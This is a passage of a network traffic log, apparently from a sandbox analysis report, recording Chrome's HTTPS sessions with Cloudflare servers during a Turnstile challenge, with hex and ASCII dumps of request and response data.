68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-10-31 20:54:56 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.16	49748	104.18.95.41	443	7004	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 20:54:56 UTC	428	OUT	GET /cdn-cgi/challenge-platform/h/b/i/8db68aefa9dee71a/1730408094291/1DUK2cFFx0Ov71K HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-31 20:54:56 UTC	200	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 20:54:56 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 8db68b0d088de926-DFW alt-svc: h3=":443"; ma=86400
2024-10-31 20:54:56 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 5b 00 00 00 06 08 02 00 00 00 23 44 75 e7 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR[#DuIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.16	49749	104.18.94.41	443	7004	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 20:54:57 UTC	814	OUT	GET /cdn-cgi/challenge-platform/h/b/pat/8db68aefa9dee71a/1730408094294/bfc9350757dc2b54cda47f1ce8f7cb0fee63827b7d6473a6f9e3352166586cbd/I6Sy_RrFs8HulFz HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/qh7j5/0x4AAAAAAAyr4qst3s0poVsP/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-31 20:54:57 UTC	143	IN	HTTP/1.1 401 Unauthorized Date: Thu, 31 Oct 2024 20:54:57 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 1 Connection: close
2024-10-31 20:54:57 UTC	2015	IN	Data Raw: 77 77 77 2d 61 75 74 68 65 6e 74 69 63 61 74 65 3a 20 50 72 69 76 61 74 65 54 6f 6b 65 6e 20 63 68 61 6c 6c 65 6e 67 65 3d 22 41 41 49 41 47 58 42 68 64 43 31 70 63 33 4e 31 5a 58 49 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 67 76 38 6b 31 42 31 66 63 4b 31 54 4e 70 48 38 63 36 50 66 4c 44 2d 35 6a 67 6e 74 39 5a 48 4f 6d 2d 65 4d 31 49 57 5a 59 62 4c 30 41 47 57 4e 6f 59 57 78 73 5a 57 35 6e 5a 58 4d 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 3d 22 2c 20 74 6f 6b 65 6e 2d 6b 65 79 3d 22 4d 49 49 42 55 6a 41 39 42 67 6b 71 68 6b 69 47 39 77 30 42 41 51 6f 77 4d 4b 41 4e 4d 41 73 47 43 57 43 47 53 41 46 6c 41 77 51 43 41 71 45 61 4d 42 67 47 43 53 71 47 53 49 62 33 44 51 45 42 43 44 41 4c 42 67 6c 67 68 6b 67 42 5a 51 4d Data Ascii: www-authenticate: PrivateToken challenge="AAIAGXBhdC1pc3N1ZXIuY2xvdWRmbGFyZS5jb20gv8k1B1fcK1TNpH8c6PfLD-5jgnt9ZHOm-eM1IWZYbL0AGWNoYWxsZW5nZXMuY2xvdWRmbGFyZS5jb20=", token-key="MIIBUjA9BgkqhkiG9w0BAQowMKANMAsGCWCGSAFlAwQCAqEaMBgGCSqGSIb3DQEBCDALBglghkgBZQM
2024-10-31 20:54:57 UTC	1	IN	Data Raw: 4a Data Ascii: J

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.16	49750	104.18.94.41	443	7004	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 20:54:58 UTC	1151	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/1827530087:1730405642:ltd0wnhF-wNUZPhVAbzH59KppvuK_FKCeFGLBlDqCYQ/8db68aefa9dee71a/7cykXcorcTo1NInY40PyAW.pmxtDKZjwQymE_8quY0M-1730408092-1.1.1.1-Ke.D64bIfKYJPApeFdyVZtu8wbDtjaUMDXBNn45ZRomcSu7xIPnksyDPYrWEyyBv HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 31844 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: 7cykXcorcTo1NInY40PyAW.pmxtDKZjwQymE_8quY0M-1730408092-1.1.1.1-Ke.D64bIfKYJPApeFdyVZtu8wbDtjaUMDXBNn45ZRomcSu7xIPnksyDPYrWEyyBv sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/qh7j5/0x4AAAAAAAyr4qst3s0poVsP/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-31 20:54:58 UTC	16384	OUT	Data Raw: 76 5f 38 64 62 36 38 61 65 66 61 39 64 65 65 37 31 61 3d 24 39 34 69 76 4c 6c 48 30 57 30 45 30 6c 68 6c 66 54 44 54 59 4b 37 6c 51 54 49 54 47 69 6f 55 48 2d 67 67 4d 6c 72 54 48 4e 34 6f 57 54 50 54 58 56 37 68 6c 53 4b 75 54 78 63 54 6c 67 38 54 72 6c 54 37 75 54 6f 77 69 4c 53 54 68 56 6f 79 71 37 54 46 68 54 2d 69 6f 68 67 37 58 4c 4b 75 6c 61 54 34 4a 54 4b 4b 78 44 54 54 79 54 79 64 48 70 54 47 56 75 6c 44 37 6b 54 6f 57 5a 4e 73 78 37 55 70 42 4b 4b 4c 76 34 54 49 50 39 58 6e 54 46 57 54 4b 56 54 59 7a 73 4a 6e 42 69 75 54 77 74 75 78 54 6c 57 56 6a 45 76 4a 69 54 75 77 6c 75 6f 73 39 24 75 35 54 78 57 4a 4d 38 70 62 54 54 6b 61 54 54 41 52 73 34 55 58 69 46 75 66 78 6a 75 77 5a 45 39 4c 30 35 45 54 4e 68 44 43 6a 68 36 78 35 35 66 4d 56 30 75 54 Data Ascii: v_8db68aefa9dee71a=$94ivLlH0W0E0lhlfTDTYK7lQTITGioUH-ggMlrTHN4oWTPTXV7hlSKuTxcTlg8TrlT7uTowiLSThVoyq7TFhT-iohg7XLKulaT4JTKKxDTTyTydHpTGVulD7kToWZNsx7UpBKKLv4TIP9XnTFWTKVTYzsJnBiuTwtuxTlWVjEvJiTuwluos9$u5TxWJM8pbTTkaTTARs4UXiFufxjuwZE9L05ETNhDCjh6x55fMV0uT
2024-10-31 20:54:58 UTC	15460	OUT	Data Raw: 32 66 37 4d 4c 4e 41 37 54 43 54 42 57 24 69 6c 56 6c 51 54 36 69 62 54 34 56 6f 69 6f 76 6a 53 49 62 79 45 55 54 76 54 45 56 6f 67 54 55 2d 42 56 6c 4c 54 51 69 4c 54 4c 58 54 2b 63 67 30 4c 43 54 38 54 45 51 6f 36 54 63 69 4c 64 6f 38 54 47 69 59 4a 54 79 54 5a 54 37 24 73 37 69 6f 48 78 30 54 69 54 4d 56 45 68 6f 46 54 73 6b 46 34 45 6c 54 4f 69 46 68 4c 55 54 46 30 77 48 61 76 69 64 56 77 73 6c 6f 69 56 69 46 73 6f 24 69 56 73 42 70 33 5a 78 68 2d 75 34 6c 33 54 55 54 37 56 54 47 54 76 5a 46 54 4c 39 69 6b 69 35 2d 4c 68 54 4c 69 46 56 6c 49 56 71 73 46 66 6c 56 54 4b 69 71 48 6c 57 54 71 73 37 50 50 51 54 42 56 37 30 54 51 39 48 67 46 73 4c 66 54 74 34 4c 37 6c 2d 54 4d 54 37 56 6f 63 69 2b 49 37 30 6c 35 54 4e 54 37 56 4c 62 69 58 69 37 56 54 38 54 Data Ascii: 2f7MLNA7TCTBW$ilVlQT6ibT4VoiovjSIbyEUTvTEVogTU-BVlLTQiLTLXT+cg0LCT8TEQo6TciLdo8TGiYJTyTZT7$s7ioHx0TiTMVEhoFTskF4ElTOiFhLUTF0wHavidVwsloiViFso$iVsBp3Zxh-u4l3TUT7VTGTvZFTL9iki5-LhTLiFVlIVqsFflVTKiqHlWTqs7PPQTBV70TQ9HgFsLfTt4L7l-TMT7Voci+I70l5TNT7VLbiXi7VT8T
2024-10-31 20:54:58 UTC	330	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 20:54:58 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 26332 Connection: close cf-chl-gen: 6WUmmw/pdHnOzbNrfTgTqyzRsTg/YGLeK21y795wWO3qmIDX+MXUyqMVUJkLVHas3d1bZXHmDi0JeeRc$hgINvGi+eLWmtKvG Server: cloudflare CF-RAY: 8db68b170d1f3584-DFW alt-svc: h3=":443"; ma=86400
2024-10-31 20:54:58 UTC	1039	IN	Data Raw: 74 36 79 56 6c 4d 4b 6c 78 48 69 32 71 4d 57 57 77 4b 47 59 76 70 71 36 76 4e 50 43 6a 38 7a 58 78 70 4f 6a 70 73 57 58 73 37 37 55 74 4a 66 4b 33 72 76 66 6d 4c 6a 42 71 4b 58 42 37 63 44 69 75 62 43 6a 34 74 4c 6f 36 4f 6e 67 73 65 54 6e 34 38 71 36 76 76 72 72 34 64 6e 69 34 63 37 6c 33 2f 62 69 35 65 48 72 33 4e 30 49 2b 51 59 55 7a 38 33 72 42 68 62 67 43 4e 48 79 45 4f 6b 57 45 2f 6b 61 39 67 77 6c 2f 66 66 76 41 53 67 56 39 42 59 59 4c 69 38 44 42 53 49 49 2f 67 59 34 46 44 6b 61 4d 77 77 74 50 44 38 55 39 6a 41 4c 41 43 31 47 47 54 41 43 49 7a 34 58 4c 6a 63 2f 43 31 49 38 44 55 5a 53 49 43 6f 6a 4d 6a 49 53 56 54 63 71 50 43 35 4d 48 31 5a 45 4d 31 46 64 53 55 63 37 59 46 30 6d 61 57 64 62 52 48 46 6a 51 6c 5a 58 4b 54 68 73 4d 44 73 35 64 6a 64 Data Ascii: t6yVlMKlxHi2qMWWwKGYvpq6vNPCj8zXxpOjpsWXs77UtJfK3rvfmLjBqKXB7cDiubCj4tLo6OngseTn48q6vvrr4dni4c7l3/bi5eHr3N0I+QYUz83rBhbgCNHyEOkWE/ka9gwl/ffvASgV9BYYLi8DBSII/gY4FDkaMwwtPD8U9jALAC1GGTACIz4XLjc/C1I8DUZSICojMjISVTcqPC5MH1ZEM1FdSUc7YF0maWdbRHFjQlZXKThsMDs5djd
2024-10-31 20:54:58 UTC	1369	IN	Data Raw: 4d 78 73 75 39 76 5a 43 2f 71 38 36 52 31 4b 54 57 32 70 69 39 33 72 2f 4e 73 4d 47 76 30 72 58 6a 33 64 2f 46 6d 39 37 49 74 71 58 6e 32 38 66 76 72 39 53 76 7a 4d 48 4c 78 2b 48 33 75 39 6a 61 74 62 76 4a 75 65 77 41 2b 39 2f 37 43 41 72 6d 30 2f 50 46 35 41 76 6e 41 77 6e 68 37 2f 4d 48 34 38 6e 75 37 52 49 5a 37 75 38 4a 49 52 38 4b 37 78 50 76 33 4e 77 51 2b 42 59 63 49 43 45 6a 4b 66 73 72 47 77 77 51 46 75 38 59 41 69 34 71 2b 75 33 32 2f 54 76 35 4c 79 30 52 4f 68 67 44 4e 67 49 68 48 7a 31 4d 52 79 63 6b 54 7a 73 4d 48 51 30 73 49 30 42 57 47 46 74 4a 46 31 77 77 56 79 6b 5a 55 55 4d 62 51 55 41 67 4e 46 59 6a 5a 32 30 74 50 45 38 70 4c 55 49 74 58 46 4e 50 63 53 39 71 5a 30 74 55 57 6d 78 7a 56 58 4e 69 64 6e 6d 47 54 6c 75 48 56 34 53 41 64 49 Data Ascii: Mxsu9vZC/q86R1KTW2pi93r/NsMGv0rXj3d/Fm97ItqXn28fvr9SvzMHLx+H3u9jatbvJuewA+9/7CArm0/PF5AvnAwnh7/MH48nu7RIZ7u8JIR8K7xPv3NwQ+BYcICEjKfsrGwwQFu8YAi4q+u32/Tv5Ly0ROhgDNgIhHz1MRyckTzsMHQ0sI0BWGFtJF1wwVykZUUMbQUAgNFYjZ20tPE8pLUItXFNPcS9qZ0tUWmxzVXNidnmGTluHV4SAdI
2024-10-31 20:54:58 UTC	1369	IN	Data Raw: 7a 49 33 50 71 63 6d 59 31 73 50 55 31 64 65 63 31 37 72 4b 72 36 4b 77 34 70 32 35 79 75 44 68 70 4b 65 6e 37 36 2b 6a 79 61 37 4d 76 65 72 67 37 65 48 48 78 37 6a 61 33 4c 66 32 74 39 66 51 75 39 54 42 33 77 6a 56 34 74 34 42 79 73 76 67 35 4f 33 69 79 66 44 4e 43 52 54 33 47 4d 7a 74 31 4e 6e 6d 48 75 34 65 46 50 7a 30 34 67 67 44 42 67 41 67 41 52 62 35 35 66 7a 39 43 7a 4d 42 43 44 51 32 4d 50 49 6e 45 68 63 64 4d 44 63 75 4f 52 30 4f 44 6a 38 45 4a 52 6a 2b 49 77 4d 67 41 79 35 49 44 77 30 78 54 6c 4d 53 45 55 70 48 4e 46 64 56 55 54 6f 61 53 6c 4d 68 48 45 38 31 56 43 49 6d 4e 31 70 5a 56 30 46 67 4b 6d 4e 6a 51 56 6f 39 54 47 64 53 51 56 6b 78 52 7a 56 49 56 6c 65 41 64 56 36 43 50 49 4e 34 4f 48 4a 37 59 33 31 34 6a 59 4e 4d 57 6c 69 4d 53 45 39 Data Ascii: zI3PqcmY1sPU1dec17rKr6Kw4p25yuDhpKen76+jya7Mverg7eHHx7ja3Lf2t9fQu9TB3wjV4t4Bysvg5O3iyfDNCRT3GMzt1NnmHu4eFPz04ggDBgAgARb55fz9CzMBCDQ2MPInEhcdMDcuOR0ODj8EJRj+IwMgAy5IDw0xTlMSEUpHNFdVUToaSlMhHE81VCImN1pZV0FgKmNjQVo9TGdSQVkxRzVIVleAdV6CPIN4OHJ7Y314jYNMWliMSE9
2024-10-31 20:54:58 UTC	1369	IN	Data Raw: 72 53 37 75 4e 43 75 76 65 47 66 31 72 62 53 75 62 7a 47 33 4d 58 58 72 4d 37 6d 7a 2b 53 78 72 73 2f 4c 39 4c 37 52 31 4e 62 4a 31 75 72 4f 73 4e 7a 39 2f 50 33 6a 76 2f 54 79 30 64 4d 49 77 65 62 71 44 38 7a 4d 38 65 55 54 45 76 33 55 7a 4e 59 4a 35 77 6a 57 44 65 59 51 46 68 6f 4e 45 4e 30 46 34 75 4c 64 45 69 58 6f 4b 51 41 74 34 43 77 65 36 68 45 4a 41 42 59 51 4d 68 49 36 42 42 59 52 46 43 7a 35 4c 7a 38 55 47 52 37 38 45 51 56 4b 47 7a 68 42 48 53 59 47 43 67 38 75 4d 78 46 4c 48 30 52 46 47 43 6c 48 46 68 31 58 4b 6d 41 58 4d 53 31 43 48 6b 41 66 50 47 51 2b 53 6a 6c 49 51 55 73 38 61 31 74 4d 55 46 59 77 56 31 4a 75 61 6a 46 6c 57 44 6f 36 61 47 74 65 54 6d 35 56 59 56 46 63 5a 33 61 48 53 59 42 6e 67 46 42 70 63 32 43 4a 55 32 78 6e 56 6d 4a 72 Data Ascii: rS7uNCuveGf1rbSubzG3MXXrM7mz+Sxrs/L9L7R1NbJ1urOsNz9/P3jv/Ty0dMIwebqD8zM8eUTEv3UzNYJ5wjWDeYQFhoNEN0F4uLdEiXoKQAt4Cwe6hEJABYQMhI6BBYRFCz5Lz8UGR78EQVKGzhBHSYGCg8uMxFLH0RFGClHFh1XKmAXMS1CHkAfPGQ+SjlIQUs8a1tMUFYwV1JuajFlWDo6aGteTm5VYVFcZ3aHSYBngFBpc2CJU2xnVmJr
2024-10-31 20:54:58 UTC	1369	IN	Data Raw: 57 59 75 39 71 2f 33 65 69 38 78 63 72 46 76 71 58 73 37 64 76 5a 35 38 4c 4b 30 74 44 66 72 39 6d 32 38 2f 75 37 33 2f 53 34 2b 4f 4c 53 76 50 48 75 2b 39 55 45 36 2f 33 34 36 4d 54 62 33 74 76 74 42 4f 6b 4e 45 4f 6e 52 30 51 51 57 43 64 6b 4a 32 4f 6f 41 2b 75 7a 67 46 39 7a 64 2b 50 55 72 2f 4f 51 58 37 50 63 71 43 43 7a 74 41 77 30 55 39 50 55 74 38 6a 73 52 37 79 30 53 45 41 73 50 49 7a 6e 37 51 7a 7a 2b 52 69 59 39 54 44 63 6c 51 42 30 49 4a 6a 41 4d 56 44 4d 30 54 44 55 31 4e 6c 74 54 4d 6a 30 32 4f 6a 59 2f 4a 47 59 32 57 31 77 39 53 56 31 42 62 45 67 6e 58 45 46 4a 4b 7a 56 49 53 6e 6c 56 63 31 42 4a 57 57 74 56 57 6b 46 72 56 59 56 33 52 57 45 2f 64 48 52 61 66 57 6d 4f 62 57 31 71 61 47 39 4c 6b 34 78 79 69 33 5a 31 61 33 6d 58 6e 6e 31 59 66 Data Ascii: WYu9q/3ei8xcrFvqXs7dvZ58LK0tDfr9m28/u73/S4+OLSvPHu+9UE6/346MTb3tvtBOkNEOnR0QQWCdkJ2OoA+uzgF9zd+PUr/OQX7PcqCCztAw0U9PUt8jsR7y0SEAsPIzn7Qzz+RiY9TDclQB0IJjAMVDM0TDU1NltTMj02OjY/JGY2W1w9SV1BbEgnXEFJKzVISnlVc1BJWWtVWkFrVYV3RWE/dHRafWmObW1qaG9Lk4xyi3Z1a3mXnn1Yf
2024-10-31 20:54:58 UTC	1369	IN	Data Raw: 48 31 75 76 54 31 4f 66 6f 72 62 71 74 73 63 62 6b 37 2f 44 66 72 75 54 30 39 50 6a 33 75 4f 6a 4f 75 76 32 35 31 76 58 46 75 65 4d 4b 78 37 30 4f 42 63 67 49 34 38 7a 45 36 52 59 4f 30 68 54 72 43 42 45 59 36 68 54 65 43 39 62 32 47 68 77 6c 4a 79 48 36 48 69 67 6e 2f 53 30 74 4b 4f 2f 70 4d 69 2f 77 4e 69 45 78 49 53 48 7a 2b 54 67 36 4c 2f 77 52 2f 54 4c 39 47 68 41 38 42 76 6b 6b 53 6b 4d 6a 4c 44 74 51 4f 44 6c 4d 54 52 49 66 45 68 59 72 53 56 52 56 52 42 4e 4a 57 56 6c 64 58 42 31 4e 4d 78 39 69 48 6a 78 6b 4b 55 4a 56 57 6d 56 73 50 47 41 77 4a 6e 5a 33 4e 58 42 71 4d 6a 55 37 4e 6e 4a 34 55 31 65 41 66 33 46 50 51 59 42 62 56 34 64 46 64 56 39 4d 69 47 56 4b 6b 59 36 4e 67 70 61 4e 6c 47 53 49 57 48 4f 4f 6c 46 32 42 58 35 74 68 65 6e 69 6b 5a 58 Data Ascii: H1uvT1Oforbqtscbk7/DfruT09Pj3uOjOuv251vXFueMKx70OBcgI48zE6RYO0hTrCBEY6hTeC9b2GhwlJyH6Hign/S0tKO/pMi/wNiExISHz+Tg6L/wR/TL9GhA8BvkkSkMjLDtQODlMTRIfEhYrSVRVRBNJWVldXB1NMx9iHjxkKUJVWmVsPGAwJnZ3NXBqMjU7NnJ4U1eAf3FPQYBbV4dFdV9MiGVKkY6NgpaNlGSIWHOOlF2BX5thenikZX
2024-10-31 20:54:58 UTC	1369	IN	Data Raw: 6f 65 33 74 72 36 58 6c 35 72 4b 70 39 65 6d 34 35 2f 48 31 75 2f 75 2b 2b 72 32 31 31 2f 76 44 33 66 6b 44 78 77 6a 35 42 38 77 4d 45 67 76 50 41 41 6f 4f 31 4f 30 4b 46 64 62 4e 46 68 72 63 39 51 6f 58 33 2f 6e 37 47 2b 50 39 49 69 58 6e 47 4f 6f 6f 36 78 7a 71 4b 75 34 77 43 43 76 78 36 54 6f 7a 2b 44 67 2b 4c 76 77 57 4f 6a 30 41 51 45 59 36 42 50 6c 47 52 67 6b 34 54 6b 4d 4b 41 6b 5a 4e 45 46 41 6f 54 68 52 55 46 31 55 5a 53 45 5a 54 48 45 78 53 56 69 42 51 57 6c 38 6c 5a 43 4e 66 4b 42 35 65 5a 69 78 47 58 6d 49 77 4a 6d 70 79 4e 57 52 71 63 6a 68 34 4e 33 4d 39 56 6c 52 36 50 34 42 44 65 6b 53 45 59 48 35 48 50 6f 4b 48 53 6b 4b 4b 67 31 47 51 6c 6f 31 54 53 6f 4b 55 57 59 68 58 6b 6c 75 63 58 35 5a 68 6b 4a 36 67 5a 58 36 65 6f 57 6d 59 6c 71 70 Data Ascii: oe3tr6Xl5rKp9em45/H1u/u++r211/vD3fkDxwj5B8wMEgvPAAoO1O0KFdbNFhrc9QoX3/n7G+P9IiXnGOoo6xzqKu4wCCvx6Toz+Dg+LvwWOj0AQEY6BPlGRgk4TkMKAkZNEFAoThRUF1UZSEZTHExSViBQWl8lZCNfKB5eZixGXmIwJmpyNWRqcjh4N3M9VlR6P4BDekSEYH5HPoKHSkKKg1GQlo1TSoKUWYhXklucX5ZhkJ6gZX6eoWmYlqp
2024-10-31 20:54:58 UTC	1369	IN	Data Raw: 62 44 4c 31 39 6e 33 73 64 50 35 74 76 6e 66 34 51 43 35 32 77 4b 39 33 4c 37 71 79 41 66 58 2b 67 6a 38 34 2b 6e 51 45 42 59 58 46 65 6e 53 47 74 48 78 32 68 66 63 44 66 66 70 48 42 48 33 2f 65 51 6b 4b 69 54 70 33 65 6f 41 36 4f 77 79 4d 75 6b 4b 38 68 48 6f 44 53 34 43 38 79 6b 75 47 44 30 56 46 50 7a 35 2b 52 78 43 2f 52 33 2b 49 51 6c 47 41 7a 74 51 54 41 38 6f 44 52 51 30 55 67 39 44 43 31 51 61 56 7a 68 61 46 6b 30 34 58 68 73 35 47 30 45 6c 59 30 42 58 49 6d 67 72 53 43 6b 77 5a 6d 34 73 58 79 64 77 4e 6e 4e 49 64 6e 74 35 55 32 73 35 61 6d 42 36 67 45 51 33 67 45 61 44 66 6f 5a 46 64 6d 79 47 6a 45 5a 6f 6a 6b 31 2b 64 49 2b 55 57 45 75 55 57 70 64 77 6d 6c 6d 4b 67 4a 75 67 57 6e 79 69 59 5a 4b 49 70 4b 68 73 58 36 68 75 71 34 69 75 62 5a 36 55 Data Ascii: bDL19n3sdP5tvnf4QC52wK93L7qyAfX+gj84+nQEBYXFenSGtHx2hfcDffpHBH3/eQkKiTp3eoA6OwyMukK8hHoDS4C8ykuGD0VFPz5+RxC/R3+IQlGAztQTA8oDRQ0Ug9DC1QaVzhaFk04Xhs5G0ElY0BXImgrSCkwZm4sXydwNnNIdnt5U2s5amB6gEQ3gEaDfoZFdmyGjEZojk1+dI+UWEuUWpdwmlmKgJugWnyiYZKIpKhsX6huq4iubZ6U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.16	53700	104.18.95.41	443	7004	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 20:54:59 UTC	599	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1827530087:1730405642:ltd0wnhF-wNUZPhVAbzH59KppvuK_FKCeFGLBlDqCYQ/8db68aefa9dee71a/7cykXcorcTo1NInY40PyAW.pmxtDKZjwQymE_8quY0M-1730408092-1.1.1.1-Ke.D64bIfKYJPApeFdyVZtu8wbDtjaUMDXBNn45ZRomcSu7xIPnksyDPYrWEyyBv HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-31 20:54:59 UTC	379	IN	HTTP/1.1 404 Not Found Date: Thu, 31 Oct 2024 20:54:59 GMT Content-Type: application/json Content-Length: 7 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: d6mYmN4/gUlx0gslQgPOrPJ80xy3ZgLWyk0=$/we/Lbp5KZkmXXWY Server: cloudflare CF-RAY: 8db68b1dadb48789-DFW alt-svc: h3=":443"; ma=86400
2024-10-31 20:54:59 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.16	53701	104.18.94.41	443	7004	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 20:55:01 UTC	1151	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/1827530087:1730405642:ltd0wnhF-wNUZPhVAbzH59KppvuK_FKCeFGLBlDqCYQ/8db68aefa9dee71a/7cykXcorcTo1NInY40PyAW.pmxtDKZjwQymE_8quY0M-1730408092-1.1.1.1-Ke.D64bIfKYJPApeFdyVZtu8wbDtjaUMDXBNn45ZRomcSu7xIPnksyDPYrWEyyBv HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 34207 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: 7cykXcorcTo1NInY40PyAW.pmxtDKZjwQymE_8quY0M-1730408092-1.1.1.1-Ke.D64bIfKYJPApeFdyVZtu8wbDtjaUMDXBNn45ZRomcSu7xIPnksyDPYrWEyyBv sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/qh7j5/0x4AAAAAAAyr4qst3s0poVsP/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
